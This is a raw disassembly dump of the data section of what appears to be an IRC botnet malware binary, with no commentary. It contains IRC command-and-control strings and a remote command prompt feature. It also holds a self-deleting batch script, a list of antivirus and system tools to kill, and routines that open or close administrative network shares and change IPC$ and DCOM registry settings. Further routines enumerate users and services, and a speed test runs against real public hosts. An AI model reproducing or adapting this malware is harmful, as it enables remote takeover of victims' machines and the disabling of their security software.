dword_43E040	dd 57h			; DATA XREF: ___:0043D548o
dword_43E044	dd 51h			; DATA XREF: ___:0043D544o
dword_43E048	dd 62h			; DATA XREF: ___:0043D538o
					; ___:0043D82Co ...
dword_43E04C	dd 7Ah			; DATA XREF: ___:0043D528o
					; ___:0043D88Co ...
dword_43E050	dd 6Ch			; DATA XREF: ___:0043D524o
					; ___:0043D858o
dword_43E054	dd 68h			; DATA XREF: ___:0043D518o
					; ___:0043D844o
dword_43E058	dd 67h			; DATA XREF: ___:0043D514o
					; ___:0043D840o ...
dword_43E05C	dd 66h			; DATA XREF: ___:0043D510o
					; ___:0043D83Co
dword_43E060	dd 79h			; DATA XREF: ___:0043D4F4o
					; ___:0043D888o
dword_43E064	dd 77h			; DATA XREF: ___:0043D4E4o
					; ___:0043D880o
dword_43E068	dd 4B43494Eh, 0A732520h, 0 ; DATA XREF:	sub_4177CF+B1o
dword_43E074	dd 323334h		; DATA XREF: sub_4177CF+79o
dword_43E078	dd 474E4F50h, 0A732520h, 0 ; DATA XREF:	sub_4177CF+61o
aNickSUserSHotm	db 'NICK %s',0Ah        ; DATA XREF: sub_4178BA+9Bo
		db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
		align 4
a__0		db '-|`_\{[]}',0        ; DATA XREF: sub_417ADD+BCo
					; sub_417ADD+175r ...
		align 10h
		dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
		dd 3000005h, 10h, 18h, 1, 3 dup(0)
; ---------------------------------------------------------------------------
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
		dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_41814C+72o
		align 4
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_418293+1Co
		align 4
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418337+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_418359+140o
		align 10h
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_418359+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_418359+48o
		align 10h
unk_43E1F0	db  2Dh	; -		; DATA XREF: sub_4184E1+9Co
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aOperatingSyste	db '- operating system is not supported',0
		align 10h
unk_43E220	db  2Dh	; -		; DATA XREF: sub_4184E1+8Fo
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedWithErro	db '- failed with error code %d',0
		align 4
dword_43E248	dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
					; DATA XREF: sub_4184E1+5Co
		dd 65726165h, 64h, 0
off_43E268	dd offset aAdd		; DATA XREF: sub_4186C1+60r
					; sub_418A98+51r ...
					; "Add"
off_43E26C	dd offset aAdded	; DATA XREF: sub_4186C1+2Dr
					; sub_418A98+83r ...
					; "Added"
dword_43E270	dd 0			; DATA XREF: sub_4186C1+18r
		dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 10h
		dd offset aList_1	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 8
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 43E2DCh, 43E2D4h,	2, 43E2C8h, 43E2BCh, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: ___:0043E29Co
aStop_0		db 'Stop',0             ; DATA XREF: ___:0043E298o
		align 4
aStarted	db 'Started',0          ; DATA XREF: ___:0043E290o
aStart_0	db 'Start',0            ; DATA XREF: ___:0043E28Co
		align 4
aListed		db 'Listed',0           ; DATA XREF: ___:0043E284o
		align 4
aList_1		db 'List',0             ; DATA XREF: ___:0043E280o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: ___:0043E278o
aDelete_0	db 'Delete',0           ; DATA XREF: ___:0043E274o
		align 4
aAdded		db 'Added',0            ; DATA XREF: ___:off_43E26Co
		align 4
aAdd		db 'Add',0              ; DATA XREF: ___:off_43E268o
unk_43E330	db  2Dh	; -		; DATA XREF: sub_4186C1+67o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoServiceSpec	db '- %s: no service specified',0
unk_43E354	db  2Dh	; -		; DATA XREF: sub_4186C1+51o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aErrorWithServi	db '- error with service: ',27h,'%s',27h,' - %s',0
		align 10h
unk_43E380	db  2Dh	; -		; DATA XREF: sub_4186C1+33o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSServiceS	db '- %s service: ',27h,'%s',27h,0
aAnUnknownError	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_4187DD+12Co
		align 10h
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_4187DD:loc_4188F5o
		align 10h
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_4187DD:loc_4188EEo
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_4187DD:loc_4188E7o
		db 'the state of the service.',0
		align 10h
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_4187DD:loc_4188E0o
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_4187DD:loc_4188D9o
		db ' correct access rights.',0
		align 4
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_4187DD:loc_4188D2o
		align 10h
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_4187DD:loc_4188CBo
		align 10h
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_4187DD:loc_4188C4o
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_4187DD:loc_4188BDo
		db 'marked for deletion.',0
		align 4
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_4187DD:loc_4188B6o
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_4187DD:loc_41888Bo
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_4187DD:loc_418884o
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_4187DD:loc_41887Do
		db 'tServiceCtrlDispatcher.',0
		align 10h
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_4187DD:loc_418876o
		align 10h
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_4187DD+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_4187DD:loc_41884Bo
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_4187DD:loc_418841o
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_4187DD:loc_418837o
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_4187DD:loc_41882Do
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_4187DD:loc_418823o
		align 10h
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_4187DD+3Co
		align 4
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_41895B+EBo
aStopped	db '    Stopped',0      ; DATA XREF: sub_41895B:loc_418A27o
aStarting	db '   Starting',0      ; DATA XREF: sub_41895B:loc_418A20o
aStoping	db '    Stoping',0      ; DATA XREF: sub_41895B:loc_418A19o
aRunning_0	db '    Running',0      ; DATA XREF: sub_41895B:loc_418A12o
aContinuing	db ' Continuing',0      ; DATA XREF: sub_41895B:loc_418A0Bo
aPausing	db '    Pausing',0      ; DATA XREF: sub_41895B:loc_418A04o
aPaused_0	db '     Paused',0      ; DATA XREF: sub_41895B:loc_4189FDo
aUnknown_1	db '    Unknown',0      ; DATA XREF: sub_41895B+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_41895B+25o
		align 4
unk_43E8D4	db  2Dh	; -		; DATA XREF: sub_418A98+ACo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoShareSpecif	db '- %s: no share specified',0
		align 4
dword_43E8F8	dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
					; DATA XREF: sub_418A98+8Ao
		dd 73252720h, 27h
unk_43E914	db  2Dh	; -		; DATA XREF: sub_418A98+58o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithShar	db '- %s: error with share: ',27h,'%s',27h,' - %s',0
		align 10h
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_418C8E+D0o
		align 4
aNo		db 'No',0               ; DATA XREF: sub_418C8E+BCo
		align 4
aYes		db 'Yes',0              ; DATA XREF: sub_418C8E+B5o
unk_43E960	db  2Dh	; -		; DATA XREF: sub_418C8E+76o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListError	db '- share list error %s <%ld>',0
		align 4
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_418C8E+26o
		align 10h
unk_43E9C0	db  2Dh	; -		; DATA XREF: sub_418DAF+B7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoUsernameSpe	db '- %s: no username specified',0
		align 4
unk_43E9E8	db  2Dh	; -		; DATA XREF: sub_418DAF+95o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithUser	db '- %s: error with username: ',27h,'%s',27h,' - %s',0
		align 4
unk_43EA18	db  2Dh	; -		; DATA XREF: sub_418DAF+6Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSUsernameS	db '- %s username: ',27h,'%s',27h,0
		align 4
unk_43EA38	db  2Dh	; -		; DATA XREF: sub_418EF6+3AFo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserInfoErrorL	db '- user info error <%ld>',0
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_418EF6+385o
		align 10h
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_418EF6+35Ao
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_418EF6+32Fo
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_418EF6+304o
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_418EF6+2D9o
		align 10h
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_418EF6+2AEo
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_418EF6+283o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_418EF6+258o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_418EF6+22Do
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_418EF6+202o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_418EF6+1D7o
		align 4
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_418EF6+1ACo
		align 4
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_418EF6+181o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_418EF6+156o
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_418EF6+12Bo
aGuest		db 'Guest',0            ; DATA XREF: sub_418EF6:loc_419015o
		align 4
aUser_1		db 'User',0             ; DATA XREF: sub_418EF6:loc_41900Eo
		align 10h
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_418EF6+DAo
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_418EF6+AFo
		align 10h
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_418EF6+84o
		align 10h
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_418EF6+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_4192DF+14Fo
		align 4
unk_43EBE4	db  2Dh	; -		; DATA XREF: sub_4192DF+F7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aAnAccessViolat	db '- an access violation has occured',0
		align 10h
aS_4		db '  %S',0             ; DATA XREF: sub_4192DF+BEo
		align 4
unk_43EC18	db  2Dh	; -		; DATA XREF: sub_4192DF+7Ao
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListErrorS	db '- user list error %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_4192DF+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_41945F:loc_41957Co
		align 10h
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_41945F:loc_419575o
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_41945F:loc_41956Eo
		align 4
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_41945F:loc_419567o
		align 4
aAnUnknownErr_0	db 'An unknown error occurred.',0 ; DATA XREF: sub_41945F:loc_419560o
		align 4
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_41945F:loc_419543o
		db 'ord policy requirement.)',0
		align 10h
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_41945F:loc_41953Co
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_41945F:loc_419535o
		align 10h
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_41945F+CFo
		db ' the domain.',0
		align 10h
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_41945F:loc_41950Ao
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_41945F:loc_419503o
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_41945F:loc_4194FCo
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_41945F:loc_4194F2o
		align 4
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_41945F+89o
		align 10h
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_41945F:loc_4194CCo
		align 4
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_41945F:loc_4194C2o
		align 4
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_41945F:loc_4194B8o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_41945F:loc_4194AEo
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_41945F:loc_4194A4o
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_41945F+3Bo
		align 10h
dword_43EF20	dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
					; DATA XREF: sub_419593+ABo
		dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
		dd 5325h
unk_43EF4C	db  2Dh	; -		; DATA XREF: sub_419593+81o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aMessageSentSuc	db '- message sent successfully',0
		align 4
		dd 7530h
off_43EF78	dd offset aRegedit_exe	; DATA XREF: sub_4196BC+CBo
					; "regedit.exe"
		dd offset aMsconfig_exe	; "msconfig.exe"
		dd offset aNetstat_exe	; "netstat.exe"
		dd offset aMsblast_exe	; "msblast.exe"
		dd offset aZapro_exe	; "zapro.exe"
		dd offset aNavw32_exe	; "navw32.exe"
		dd offset aNavapw32_exe	; "navapw32.exe"
		dd offset aZonealarm_exe ; "zonealarm.exe"
		dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
		dd offset aPandaavengine_ ; "PandaAVEngine.exe"
		dd offset dword_43F080
		dd offset dword_43F074
		dd offset dword_43F068
		dd offset dword_43F05C
		dd offset dword_43F050
		dd offset dword_43F044
		dd offset dword_43F034
		dd offset dword_43F028
		dd offset dword_43F01C
		dd offset dword_43F010
		dd offset dword_43F004
		dd offset dword_43EFF4
		dd offset dword_43EFE8
		dd offset dword_43EFD8
dword_43EFD8	dd 72313169h, 346E3435h, 6578652Eh, 0 ;	DATA XREF: sub_4196BC+ECo
					; ___:0043EFD4o
dword_43EFE8	dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:0043EFD0o
dword_43EFF4	dd 75643364h, 74616470h, 78652E65h, 65h	; DATA XREF: ___:0043EFCCo
dword_43F004	dd 65746172h, 6578652Eh, 0 ; DATA XREF:	___:0043EFC8o
dword_43F010	dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:0043EFC4o
dword_43F01C	dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:0043EFC0o
dword_43F028	dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:0043EFBCo
dword_43F034	dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ;	DATA XREF: ___:0043EFB8o
dword_43F044	dd 61656262h, 2E656C67h, 657865h ; DATA	XREF: ___:0043EFB4o
dword_43F050	dd 696E6550h, 2E323373h, 657865h ; DATA	XREF: ___:0043EFB0o
dword_43F05C	dd 6B656574h, 2E736469h, 657865h ; DATA	XREF: ___:0043EFACo
dword_43F068	dd 4C42534Dh, 2E545341h, 657865h ; DATA	XREF: ___:0043EFA8o
dword_43F074	dd 7663736Dh, 2E323362h, 657865h ; DATA	XREF: ___:0043EFA4o
dword_43F080	dd 69737973h, 2E6F666Eh, 657865h ; DATA	XREF: ___:0043EFA0o
aPandaavengine_	db 'PandaAVEngine.exe',0 ; DATA XREF: ___:0043EF9Co
		align 10h
aWincfg32_exeta	db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:0043EF98o
aZonealarm_exe	db 'zonealarm.exe',0    ; DATA XREF: ___:0043EF94o
		align 4
aNavapw32_exe	db 'navapw32.exe',0     ; DATA XREF: ___:0043EF90o
		align 4
aNavw32_exe	db 'navw32.exe',0       ; DATA XREF: ___:0043EF8Co
		align 4
aZapro_exe	db 'zapro.exe',0        ; DATA XREF: ___:0043EF88o
		align 10h
aMsblast_exe	db 'msblast.exe',0      ; DATA XREF: ___:0043EF84o
aNetstat_exe	db 'netstat.exe',0      ; DATA XREF: ___:0043EF80o
aMsconfig_exe	db 'msconfig.exe',0     ; DATA XREF: ___:0043EF7Co
		align 4
aRegedit_exe	db 'regedit.exe',0      ; DATA XREF: ___:off_43EF78o
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_4196BC+191o
		align 10h
unk_43F130	db  2Dh	; -		; DATA XREF: sub_4198EB:loc_419972o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListFai	db ' process list failed',0
		align 4
unk_43F154	db  2Dh	; -		; DATA XREF: sub_4198EB+80o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListCom	db ' process list complete',0
		align 4
unk_43F178	db  2Dh	; -		; DATA XREF: sub_4198EB+19o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aListingProcess	db ' listing processes:',0
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419A88+33o
unk_43F1A8	db  2Dh	; -		; DATA XREF: sub_419B0F:loc_419C41o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotReadDa	db '- Could not read data from proccess.',0Dh,0Ah,0
unk_43F1D8	db  2Dh	; -		; DATA XREF: sub_419B0F+10Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aProccessHasTer	db '- Proccess has terminated.',0Dh,0Ah,0
		align 10h
unk_43F200	db  2Dh	; -		; DATA XREF: sub_419B0F:loc_419BF5o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotRead_0	db '- Could not read data from proccess',0Dh,0Ah,0
		align 10h
unk_43F230	db  2Dh	; -		; DATA XREF: sub_419C64+194o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aFailedToStartI	db '- Failed to start IO thread, error: <%d>.',0
		align 4
unk_43F264	db  2Dh	; -		; DATA XREF: sub_419C64+14Co
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteCommandP	db '- Remote Command Prompt',0
		align 4
off_43F288	dd offset dword_43F2C0	; DATA XREF: sub_419E79+1B3o
					; sub_41A19D+17Ao
		align 10h
		dd offset dword_43F2B8
		align 8
off_43F298	dd offset dword_43F2B4	; DATA XREF: sub_41A19D+1E3o
		dd offset off_43F2B0
		dd offset dword_43F2AC
		dd offset off_43F2A8
off_43F2A8	dd offset dword_5C3A44	; DATA XREF: sub_419E79+217o
					; ___:0043F2A4o
dword_43F2AC	dd 2444h		; DATA XREF: ___:0043F2A0o
off_43F2B0	dd offset byte_5C3A43	; DATA XREF: ___:0043F29Co
dword_43F2B4	dd 2443h		; DATA XREF: ___:off_43F298o
dword_43F2B8	dd 494D4441h, 244Eh	; DATA XREF: ___:0043F290o
dword_43F2C0	dd 24435049h, 0		; DATA XREF: ___:off_43F288o
dword_43F2C8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+2E5o
					; sub_41A19D+2DBo
aNetapi32_dllCo	db '- Netapi32.dll couldn',27h,'t be loaded.',0
		align 4
dword_43F2F8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+2CFo
aNetworkSharesD	db '- Network shares deleted.',0
		align 10h
dword_43F320	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_41A0DBo
aFailedToDelete	db '- Failed to delete ',27h,'%S',27h,' share.',0
		align 4
dword_43F34C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+25Bo
aShareSDeleted_	db '- Share ',27h,'%S',27h,' deleted.',0
		align 10h
dword_43F370	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_41A048o
aFailedToDele_0	db '- Failed to delete ',27h,'%s',27h,' share.',0
		align 4
dword_43F39C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+1C8o
aShareSDelete_0	db '- Share ',27h,'%s',27h,' deleted.',0
		align 10h
dword_43F3C0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_419FABo
					; sub_41A19D:loc_41A2CBo
aAdvapi32_dllCo	db '- Advapi32.dll couldn',27h,'t be loaded.',0
		align 10h
dword_43F3F0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_419FA4o
aFailedToOpenIp	db '- Failed to open IPC$ Restriction registry key.',0
dword_43F42C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_419F86o
aRestrictedAcce	db '- Restricted access to the IPC$ Share.',0
		align 10h
dword_43F460	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+106o
aFailedToRestri	db '- Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_419E79+EDo
					; sub_41A19D+EDo
		align 10h
dword_43F4B0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+91o
					; sub_41A19D+91o
aFailedToOpenDc	db '- Failed to open DCOM registry key.',0
dword_43F4E0	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 64204D4Fh
					; DATA XREF: sub_419E79:loc_419EE6o
		dd 62617369h, 2E64656Ch, 0
dword_43F500	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+66o
aDisableDcomFai	db '- Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_419E79+54o
					; sub_41A19D+54o
		align 10h
dword_43F530	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+2C3o
aNetworkSharesA	db '- Network shares added.',0
aC_0		db '%c:\',0             ; DATA XREF: sub_41A19D+230o
		align 4
aC_1		db '%c$',0              ; DATA XREF: sub_41A19D+219o
dword_43F560	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D:loc_41A33Co
					; sub_41A19D:loc_41A40Do
aFailedToAddSSh	db '- Failed to add ',27h,'%s',27h,' share.',0
dword_43F588	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+198o
					; sub_41A19D+269o
aShareSAdded_	db '- Share ',27h,'%s',27h,' added.',0
dword_43F5A8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D:loc_41A2C4o
aFailedToOpen_0	db '- Failed to open IPC$ restriction registry key.',0
dword_43F5E4	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D:loc_41A2A6o
aUnrestrictedAc	db '- Unrestricted access to the IPC$ Share.',0
		align 4
dword_43F61C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+102o
aFailedToUnrest	db '- Failed to unrestrict access to the IPC$ Share.',0
		align 4
dword_43F65C	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 65204D4Fh
					; DATA XREF: sub_41A19D:loc_41A20Ao
		dd 6C62616Eh, 2E6465h
dword_43F678	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+66o
aEnableDcomFail	db '- Enable DCOM failed.',0
		align 4
aPostHttp1_0Hos	db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41A4D1+E1o
		db 'Host: %s',0Dh,0Ah
		db 'Content-Length: %d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
dword_43F6D0	dd 234032Dh, 65657073h,	73657464h, 2D030274h, 75450220h
					; DATA XREF: sub_41A6AE+1A7o
		dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
		dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
		dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
		dd 25203A02h, 626B2064h, 732F7469h, 0
aWww_google_co_	db 'www.google.co.jp',0 ; DATA XREF: sub_41A6AE+C4o
		align 4
aYahoo_co_jp	db 'yahoo.co.jp',0      ; DATA XREF: sub_41A6AE+BDo
aWww_nifty_com	db 'www.nifty.com',0    ; DATA XREF: sub_41A6AE+B6o
		align 10h
aWww_d1asia_com	db 'www.d1asia.com',0   ; DATA XREF: sub_41A6AE+AFo
		align 10h
aWww_st_lib_kei	db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41A6AE+A8o
		align 4
aWww_lib_nthu_e	db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41A6AE+A1o
aWww_google_com	db 'www.google.com',0   ; DATA XREF: sub_41A6AE+9Ao
		align 4
aWww_easynews_c	db 'www.easynews.com',0 ; DATA XREF: sub_41A6AE+93o
		align 10h
aWww_above_net	db 'www.above.net',0    ; DATA XREF: sub_41A6AE+8Co
		align 10h
aWww_level3_com	db 'www.level3.com',0   ; DATA XREF: sub_41A6AE+85o
		align 10h
aNitro_ucsc_edu	db 'nitro.ucsc.edu',0   ; DATA XREF: sub_41A6AE+7Eo
		align 10h
aWww_burst_net	db 'www.burst.net',0    ; DATA XREF: sub_41A6AE+77o
		align 10h
aWww_cogentco_c	db 'www.cogentco.com',0 ; DATA XREF: sub_41A6AE+70o
		align 4
aWww_rit_edu	db 'www.rit.edu',0      ; DATA XREF: sub_41A6AE+69o
aWww_nocster_co	db 'www.nocster.com',0  ; DATA XREF: sub_41A6AE+62o
aWww_verio_com	db 'www.verio.com',0    ; DATA XREF: sub_41A6AE+5Bo
		align 10h
aWww_stanford_e	db 'www.stanford.edu',0 ; DATA XREF: sub_41A6AE+54o
		align 4
aWww_xo_net	db 'www.xo.net',0       ; DATA XREF: sub_41A6AE+4Do
		align 10h
aWww_google_it	db 'www.google.it',0    ; DATA XREF: sub_41A6AE+46o
		align 10h
aDe_yahoo_com	db 'de.yahoo.com',0     ; DATA XREF: sub_41A6AE+3Fo
		align 10h
aWww_belwue_de	db 'www.belwue.de',0    ; DATA XREF: sub_41A6AE+38o
		align 10h
aWww_switch_ch	db 'www.switch.ch',0    ; DATA XREF: sub_41A6AE+31o
		align 10h
aWww_1und1_de	db 'www.1und1.de',0     ; DATA XREF: sub_41A6AE+2Ao
		align 10h
aVerio_fr	db 'verio.fr',0         ; DATA XREF: sub_41A6AE+23o
		align 4
aWww_utwente_nl	db 'www.utwente.nl',0   ; DATA XREF: sub_41A6AE+1Co
		align 4
